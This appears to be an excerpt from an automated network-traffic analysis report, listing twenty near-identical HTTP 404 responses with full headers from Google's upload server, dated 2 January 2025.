Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4z6xf3v4O9nOF38TImOYZ2V7kK8b1ngSojAxQbgCCglZPTrIKI4Hp8NTFFRKAaz0DeContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:25 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-NtkrTJjYXmu21pxBvLHfhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7qDt-8NfckExTu2OL1mn18p5-xVdUlguKz_eKShpWmfj0a6D_EBRokRTT-xc5dXdW7Ksv6_bQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:25 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-hNrLQLGYCRR0tdftDRva2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC41PEfz3kO-Ybj1ovuu0Bz_LEaG0169eKf3hK_t0Bhqa3cZihpjvMlfCqOD6f2Alv3RSLNyzO4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:28 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-v-jE2eAoovQVPkGWfJBbJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC619lobztDXgK_qeUDuYLwEHufRAVOwRwp99FgbWZm_0_neFgd5iM_mWOUfrbIgmVhRvGk3G8IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:28 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-CVNN-gFkhcEdrsQfap1zgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7cfaJleRJ02IgCScZkWI-Ip82OdOXklo3TDf625DZMMF-vqv2vG1DBe6afWSjI0EwhContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-v0KfeAktH00tcv8QYrLA2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7h64zFbAwM5HZ0IbSCWKNCKI7ffN4jEQziI3k0v-EQ7ZH_wtnD9ey_IAb4JOQLsPgho60zqTYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:29 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-p1ET6guYAgR2PUEOF1BTbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6QEl_x6cIAQiflk3hbBgStAf8LLxgU41mnxKblxDAU4l98nrUDceqF3PQN57n1XrfY7ellHxcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-tExtbEtSLne7EBV-kWUA0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC50cAT_C5SEFhb5c2BOV8g_VoIWnqdgUhN1eYpmH2PO1BW5lkgYGoG4y1Cl29kXSmCfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:31 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gCkx3r1EQbHevbXp739iZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4yeL90xrO1Sx9ere9W88D5eUced247ITk2H6g0J1FTW44uyJ6PejgACgBAFCNlgI-YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:32 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-qx5I-tlHyvV1h75KmD-97Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ThkGaDbigguh77pL1LF71tnN2N2r2UpCgt0yGwPYpM-_U7iEUHeAkLgTEYAKfcRydContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:32 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_Q6RJdQsF50F5w4GRSROvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5z4mplmZY55kM3Rcz_ngXJMz57lmzJ3IQ2bJCMq13hiNSrnne3NQmGkVwmIS5PgXJuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:33 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-JyDZUbPVi-tc1mys42QVjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC67k6uqIcWrZaOTOz5QJ7_IRJSATVARl6DPZc4wtW6rNBOuvm75646nXiWJocLwdBj5Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:36 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-qgasOLdVoSXAQT09EjeoQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6fgfYFI47oOe4viAvVUEZgURBt5YXWSJe19vEEFDV23Pm6IdGv1lrSmTaczaF5RY62oBC_c3MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:36 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-LyZQGQuUmLFvDRdey6bLGw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5PlqmiytNEJWUrakwiBRjydUUTzQVnO2XYvT-5DMew4wyzLDo-9fzhbdkSvnTMpI6EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:37 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-XL9zlLdkB5gKOxiCTt_z7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC40bxB4PXsLE-DTzsWpm08xwBMGMU9KlTuQMyk4-jRsQ_5BR881QzUlp7Qe-h-czpktl7L6Xi0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:37 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Z4BB0QuSemy4QpCKJ5_xkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5a8XwhrHZF_9M96K1QZXorBm7kWDTmxywjHSjq_aT4xW71jWk7wNxw1Wn4j3ddrYAy-dyblJQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:39 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-SVmHqhzjBLSzwfufTFoDQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6985Naq7TMxJNRsiHejvYqX4icYUOsVjR1xkCV591lEV5tOse-BwgwxX9U553uHOTGsaiYQ5kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Su-wVxDVXbkv2L97gedC5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ATeWI5rERMLe4r5NXBRWSxv16ocnwPPwQgOjB1yeUTfZv0kdX3H-yrEO3zsape5MFContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-joNS8WnKsQt6cAYFrQ0jTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6MWCXzPuo7pzxsrNamqKqybbzNErXtd7_y-MAs9wLOegBhcCHBLzoeg8aJACytWmW0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-huu2ZdrCQYI6ATmwUxNtEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4JU1aAXbdqtOJexsSymc4nu1AsLLkxSPEEnpd4gzdTOx8opaBKv_KoxE0HtEgyhCa9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:41 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-CwULgZ5LGn4COrBT6pym7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
